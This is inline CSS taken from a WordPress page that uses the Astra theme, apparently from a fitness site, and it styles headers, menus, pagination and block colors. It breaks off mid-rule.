.ast-article-single:not(.ast-related-post), .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container .site-main .ast-author-meta, .ast-separate-container .related-posts-title-wrapper, .ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content, .ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description, .ast-separate-container .comments-area{background-color:var(--ast-global-color-4);background-image:none;}@media (max-width:921px){.ast-separate-container .ast-article-single:not(.ast-related-post), .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container .site-main .ast-author-meta, .ast-separate-container .related-posts-title-wrapper, .ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content, .ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description{background-color:var(--ast-global-color-4);background-image:none;}}@media (max-width:544px){.ast-separate-container .ast-article-single:not(.ast-related-post), .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container .site-main .ast-author-meta, .ast-separate-container .related-posts-title-wrapper, .ast-separate-container .comments-count-wrapper, .ast-box-layout.ast-plain-container .site-content, .ast-padded-layout.ast-plain-container .site-content, .ast-separate-container .ast-archive-description{background-color:var(--ast-global-color-4);background-image:none;}}.ast-separate-container.ast-two-container #secondary .widget{background-color:var(--ast-global-color-4);background-image:none;}@media (max-width:921px){.ast-separate-container.ast-two-container #secondary .widget{background-color:var(--ast-global-color-4);background-image:none;}}@media (max-width:544px){.ast-separate-container.ast-two-container #secondary .widget{background-color:var(--ast-global-color-4);background-image:none;}}.ast-plain-container, .ast-page-builder-template{background-color:var(--ast-global-color-4);background-image:none;}@media (max-width:921px){.ast-plain-container, .ast-page-builder-template{background-color:var(--ast-global-color-4);background-image:none;}}@media (max-width:544px){.ast-plain-container, .ast-page-builder-template{background-color:var(--ast-global-color-4);background-image:none;}}
		#ast-scroll-top {
			display: none;
			position: fixed;
			text-align: center;
			cursor: pointer;
			z-index: 99;
			width: 2.1em;
			height: 2.1em;
			line-height: 2.1;
			color: #ffffff;
			border-radius: 2px;
			content: "";
			outline: inherit;
		}
		@media (min-width: 769px) {
			#ast-scroll-top {
				content: "769";
			}
		}
		#ast-scroll-top .ast-icon.icon-arrow svg {
			margin-left: 0px;
			vertical-align: middle;
			transform: translate(0, -20%) rotate(180deg);
			width: 1.6em;
		}
		.ast-scroll-to-top-right {
			right: 30px;
			bottom: 30px;
		}
		.ast-scroll-to-top-left {
			left: 30px;
			bottom: 30px;
		}
	#ast-scroll-top{color:var(--ast-global-color-6);background-color:#ffae00;font-size:15px;}@media (max-width:921px){#ast-scroll-top .ast-icon.icon-arrow svg{width:1em;}}.ast-mobile-header-content > *,.ast-desktop-header-content > * {padding: 10px 0;height: auto;}.ast-mobile-header-content > *:first-child,.ast-desktop-header-content > *:first-child {padding-top: 10px;}.ast-mobile-header-content > .ast-builder-menu,.ast-desktop-header-content > .ast-builder-menu {padding-top: 0;}.ast-mobile-header-content > *:last-child,.ast-desktop-header-content > *:last-child {padding-bottom: 0;}.ast-mobile-header-content .ast-search-menu-icon.ast-inline-search label,.ast-desktop-header-content .ast-search-menu-icon.ast-inline-search label {width: 100%;}.ast-desktop-header-content .main-header-bar-navigation .ast-submenu-expanded > .ast-menu-toggle::before {transform: rotateX(180deg);}#ast-desktop-header .ast-desktop-header-content,.ast-mobile-header-content .ast-search-icon,.ast-desktop-header-content .ast-search-icon,.ast-mobile-header-wrap .ast-mobile-header-content,.ast-main-header-nav-open.ast-popup-nav-open .ast-mobile-header-wrap .ast-mobile-header-content,.ast-main-header-nav-open.ast-popup-nav-open .ast-desktop-header-content {display: none;}.ast-main-header-nav-open.ast-header-break-point #ast-desktop-header .ast-desktop-header-content,.ast-main-header-nav-open.ast-header-break-point .ast-mobile-header-wrap .ast-mobile-header-content {display: block;}.ast-desktop .ast-desktop-header-content .astra-menu-animation-slide-up > .menu-item > .sub-menu,.ast-desktop .ast-desktop-header-content .astra-menu-animation-slide-up > .menu-item .menu-item > .sub-menu,.ast-desktop .ast-desktop-header-content .astra-menu-animation-slide-down > .menu-item > .sub-menu,.ast-desktop .ast-desktop-header-content .astra-menu-animation-slide-down > .menu-item .menu-item > .sub-menu,.ast-desktop .ast-desktop-header-content .astra-menu-animation-fade > .menu-item > .sub-menu,.ast-desktop .ast-desktop-header-content .astra-menu-animation-fade > .menu-item .menu-item > .sub-menu {opacity: 1;visibility: visible;}.ast-hfb-header.ast-default-menu-enable.ast-header-break-point .ast-mobile-header-wrap .ast-mobile-header-content .main-header-bar-navigation {width: unset;margin: unset;}.ast-mobile-header-content.content-align-flex-end .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle,.ast-desktop-header-content.content-align-flex-end .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle {left: calc( 20px - 0.907em);right: auto;}.ast-mobile-header-content .ast-search-menu-icon,.ast-mobile-header-content .ast-search-menu-icon.slide-search,.ast-desktop-header-content .ast-search-menu-icon,.ast-desktop-header-content .ast-search-menu-icon.slide-search {width: 100%;position: relative;display: block;right: auto;transform: none;}.ast-mobile-header-content .ast-search-menu-icon.slide-search .search-form,.ast-mobile-header-content .ast-search-menu-icon .search-form,.ast-desktop-header-content .ast-search-menu-icon.slide-search .search-form,.ast-desktop-header-content .ast-search-menu-icon .search-form {right: 0;visibility: visible;opacity: 1;position: relative;top: auto;transform: none;padding: 0;display: block;overflow: hidden;}.ast-mobile-header-content .ast-search-menu-icon.ast-inline-search .search-field,.ast-mobile-header-content .ast-search-menu-icon .search-field,.ast-desktop-header-content .ast-search-menu-icon.ast-inline-search .search-field,.ast-desktop-header-content .ast-search-menu-icon .search-field {width: 100%;padding-right: 5.5em;}.ast-mobile-header-content .ast-search-menu-icon .search-submit,.ast-desktop-header-content .ast-search-menu-icon .search-submit {display: block;position: absolute;height: 100%;top: 0;right: 0;padding: 0 1em;border-radius: 0;}.ast-hfb-header.ast-default-menu-enable.ast-header-break-point .ast-mobile-header-wrap .ast-mobile-header-content .main-header-bar-navigation ul .sub-menu .menu-link {padding-left: 30px;}.ast-hfb-header.ast-default-menu-enable.ast-header-break-point .ast-mobile-header-wrap .ast-mobile-header-content .main-header-bar-navigation .sub-menu .menu-item .menu-item .menu-link {padding-left: 40px;}.ast-mobile-popup-drawer.active .ast-mobile-popup-inner{background-color:#ffffff;;}.ast-mobile-header-wrap .ast-mobile-header-content, .ast-desktop-header-content{background-color:#ffffff;;}.ast-mobile-popup-content > *, .ast-mobile-header-content > *, .ast-desktop-popup-content > *, .ast-desktop-header-content > *{padding-top:0px;padding-bottom:0px;}.content-align-flex-start .ast-builder-layout-element{justify-content:flex-start;}.content-align-flex-start .main-header-menu{text-align:left;}.ast-desktop-header-content, .ast-mobile-header-content{position:absolute;width:100%;}.ast-mobile-popup-drawer.active .menu-toggle-close{color:#3a3a3a;}.ast-mobile-header-wrap .ast-primary-header-bar,.ast-primary-header-bar .site-primary-header-wrap{min-height:30px;}.ast-desktop .ast-primary-header-bar .main-header-menu > .menu-item{line-height:30px;}.ast-header-break-point #masthead .ast-mobile-header-wrap .ast-primary-header-bar,.ast-header-break-point #masthead .ast-mobile-header-wrap .ast-below-header-bar,.ast-header-break-point #masthead .ast-mobile-header-wrap .ast-above-header-bar{padding-left:20px;padding-right:20px;}.ast-header-break-point .ast-primary-header-bar{border-bottom-width:1px;border-bottom-color:var(--ast-global-color-4);border-bottom-style:solid;}@media (min-width:922px){.ast-primary-header-bar{border-bottom-width:1px;border-bottom-color:var(--ast-global-color-4);border-bottom-style:solid;}}.ast-primary-header-bar{background-color:var(--ast-global-color-4);background-image:none;}.ast-primary-header-bar{display:block;}@media (max-width:921px){.ast-header-break-point .ast-primary-header-bar{display:grid;}}@media (max-width:544px){.ast-header-break-point .ast-primary-header-bar{display:grid;}}[data-section="section-header-mobile-trigger"] .ast-button-wrap .ast-mobile-menu-trigger-minimal{color:var(--ast-global-color-0);border:none;background:transparent;}[data-section="section-header-mobile-trigger"] .ast-button-wrap .mobile-menu-toggle-icon .ast-mobile-svg{width:20px;height:20px;fill:var(--ast-global-color-0);}[data-section="section-header-mobile-trigger"] .ast-button-wrap .mobile-menu-wrap .mobile-menu{color:var(--ast-global-color-0);}.ast-builder-menu-mobile .main-navigation .main-header-menu .menu-item > .menu-link{color:var(--ast-global-color-3);}.ast-builder-menu-mobile .main-navigation .main-header-menu .menu-item > .ast-menu-toggle{color:var(--ast-global-color-3);}.ast-builder-menu-mobile .main-navigation .main-header-menu .menu-item:hover > .menu-link, .ast-builder-menu-mobile .main-navigation .inline-on-mobile .menu-item:hover > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .menu-item:hover > .menu-link, .ast-builder-menu-mobile .main-navigation .inline-on-mobile .menu-item:hover > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .main-navigation .menu-item:hover > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .main-navigation .menu-item.current-menu-item > .menu-link, .ast-builder-menu-mobile .main-navigation .inline-on-mobile .menu-item.current-menu-item > .ast-menu-toggle, .ast-builder-menu-mobile .main-navigation .menu-item.current-menu-ancestor > .menu-link, .ast-builder-menu-mobile .main-navigation .menu-item.current-menu-ancestor > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .main-navigation .menu-item.current-menu-item > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .main-navigation .menu-item.menu-item-has-children > .ast-menu-toggle{top:0;}.ast-builder-menu-mobile .main-navigation .menu-item-has-children > .menu-link:after{content:unset;}.ast-hfb-header .ast-builder-menu-mobile .main-header-menu, .ast-hfb-header .ast-builder-menu-mobile .main-navigation .menu-item .menu-link, .ast-hfb-header .ast-builder-menu-mobile .main-navigation .menu-item .sub-menu .menu-link{border-style:none;}.ast-builder-menu-mobile .main-navigation .menu-item.menu-item-has-children > .ast-menu-toggle{top:0;}@media (max-width:921px){.ast-builder-menu-mobile .main-navigation .main-header-menu .menu-item > .menu-link{color:var(--ast-global-color-3);}.ast-builder-menu-mobile .main-navigation .main-header-menu .menu-item > .ast-menu-toggle{color:var(--ast-global-color-3);}.ast-builder-menu-mobile .main-navigation .main-header-menu .menu-item:hover > .menu-link, .ast-builder-menu-mobile .main-navigation .inline-on-mobile .menu-item:hover > .ast-menu-toggle{color:var(--ast-global-color-1);background:var(--ast-global-color-5);}.ast-builder-menu-mobile .main-navigation .menu-item:hover > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .main-navigation .menu-item.current-menu-item > .menu-link, .ast-builder-menu-mobile .main-navigation .inline-on-mobile .menu-item.current-menu-item > .ast-menu-toggle, .ast-builder-menu-mobile .main-navigation .menu-item.current-menu-ancestor > .menu-link, .ast-builder-menu-mobile .main-navigation .menu-item.current-menu-ancestor > .ast-menu-toggle{color:var(--ast-global-color-1);background:var(--ast-global-color-5);}.ast-builder-menu-mobile .main-navigation .menu-item.current-menu-item > .ast-menu-toggle{color:var(--ast-global-color-1);}.ast-builder-menu-mobile .main-navigation .menu-item.menu-item-has-children > .ast-menu-toggle{top:0;}.ast-builder-menu-mobile .main-navigation .menu-item-has-children > .menu-link:after{content:unset;}.ast-builder-menu-mobile .main-navigation .main-header-menu , .ast-builder-menu-mobile .main-navigation .main-header-menu .menu-link, .ast-builder-menu-mobile .main-navigation .main-header-menu .sub-menu{background-color:var(--ast-global-color-4);background-image:none;}}@media (max-width:544px){.ast-builder-menu-mobile .main-navigation .menu-item.menu-item-has-children > .ast-menu-toggle{top:0;}}.ast-builder-menu-mobile .main-navigation{display:block;}@media (max-width:921px){.ast-header-break-point .ast-builder-menu-mobile .main-navigation{display:block;}}@media (max-width:544px){.ast-header-break-point .ast-builder-menu-mobile .main-navigation{display:block;}}.ast-pagination .next.page-numbers{display:inherit;float:none;}.ast-pagination a, .nav-links a{color:var(--ast-global-color-3);}.ast-pagination a:hover, .ast-pagination a:focus, .ast-pagination > span:hover:not(.dots), .ast-pagination > span.current{color:var(--ast-global-color-1);}@media (max-width:544px){.ast-pagination .next:focus, .ast-pagination .prev:focus{width:100% !important;}}.ast-pagination .prev.page-numbers,.ast-pagination .next.page-numbers {padding: 0 1.5em;height: 2.33333em;line-height: calc(2.33333em - 3px);}.ast-pagination-default .ast-pagination .next.page-numbers {padding-right: 0;}.ast-pagination-default .ast-pagination .prev.page-numbers {padding-left: 0;}.ast-pagination-default .post-page-numbers.current .page-link,.ast-pagination-default .ast-pagination .page-numbers.current {border-radius: 2px;}.ast-pagination {display: inline-block;width: 100%;padding-top: 2em;text-align: center;}.ast-pagination .page-numbers {display: inline-block;width: 2.33333em;height: 2.33333em;font-size: 16px;font-size: 1.06666rem;line-height: calc(2.33333em - 3px);font-weight: 500;}.ast-pagination .nav-links {display: inline-block;width: 100%;}@media (max-width: 420px) {.ast-pagination .prev.page-numbers,.ast-pagination .next.page-numbers {width: 100%;text-align: center;margin: 0;}.ast-pagination-circle .ast-pagination .next.page-numbers,.ast-pagination-square .ast-pagination .next.page-numbers{margin-top: 10px;}.ast-pagination-circle .ast-pagination .prev.page-numbers,.ast-pagination-square .ast-pagination .prev.page-numbers{margin-bottom: 10px;}}.ast-pagination .prev,.ast-pagination .prev:visited,.ast-pagination .prev:focus,.ast-pagination .next,.ast-pagination .next:visited,.ast-pagination .next:focus {display: inline-block;width: auto;}.ast-pagination .prev svg,.ast-pagination .next svg{height: 16px;position: relative;top: 0.2em;}.ast-pagination .prev svg {margin-right: 0.3em;}.ast-pagination .next svg {margin-left: 0.3em;}.ast-page-builder-template .ast-pagination {padding: 2em;}.ast-pagination .prev.page-numbers {float: left;}.ast-pagination .next.page-numbers {float: right;}@media (max-width: 768px) {.ast-pagination .next.page-numbers .page-navigation {padding-right: 0;}}
/*# sourceURL=astra-theme-css-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */
</style>
<style id="wp-block-categories-inline-css">
.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label:not(.screen-reader-text){display:block;width:100%}
/*# sourceURL=https://gymdailyfitness.com/wp-includes/blocks/categories/style.min.css */
</style>
<style id="wp-block-heading-inline-css">
h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}
/*# sourceURL=https://gymdailyfitness.com/wp-includes/blocks/heading/style.min.css */
</style>
<style id="wp-block-page-list-inline-css">
.wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-page-list{box-sizing:border-box}
/*# sourceURL=https://gymdailyfitness.com/wp-includes/blocks/page-list/style.min.css */
</style>
<style id="wp-block-paragraph-inline-css">
.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}
/*# sourceURL=https://gymdailyfitness.com/wp-includes/blocks/paragraph/style.min.css */
</style>


<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--ast-global-color-0: var(--ast-global-color-0);--wp--preset--color--ast-global-color-1: var(--ast-global-color-1);--wp--preset--color--ast-global-color-2: var(--ast-global-color-2);--wp--preset--color--ast-global-color-3: var(--ast-global-color-3);--wp--preset--color--ast-global-color-4: var(--ast-global-color-4);--wp--preset--color--ast-global-color-5: var(--ast-global-color-5);--wp--preset--color--ast-global-color-6: var(--ast-global-color-6);--wp--preset--color--ast-global-color-7: var(--ast-global-color-7);--wp--preset--color--ast-global-color-8: var(--ast-global-color-8);--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:root { --wp--style--global--content-size: var(--wp--custom--ast-content-width-size);--wp--style--global--wide-size: var(--wp--custom--ast-wide-width-size); }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}a:where(:not(.wp-element-button)){text-decoration: none;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-ast-global-color-0-color{color: var(--wp--preset--color--ast-global-color-0) !important;}.has-ast-global-color-1-color{color: var(--wp--preset--color--ast-global-color-1) !important;}.has-ast-global-color-2-color{color: var(--wp--preset--color--ast-global-color-2) !important;}.has-ast-global-color-3-color{color: var(--wp--preset--color--ast-global-color-3) !important;}.has-ast-global-color-4-color{color: var(--wp--preset--color--ast-global-color-4) !important;}.has-ast-global-color-5-color{color: var(--wp--preset--color--ast-global-color-5) !important;}.has-ast-global-color-6-color{color: var(--wp--preset--color--ast-global-color-6) !important;}.has-ast-global-color-7-color{color: var(--wp--preset--color--ast-global-color-7) !important;}.has-ast-global-color-8-color{color: var(--wp--preset--color--ast-global-color-8) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) 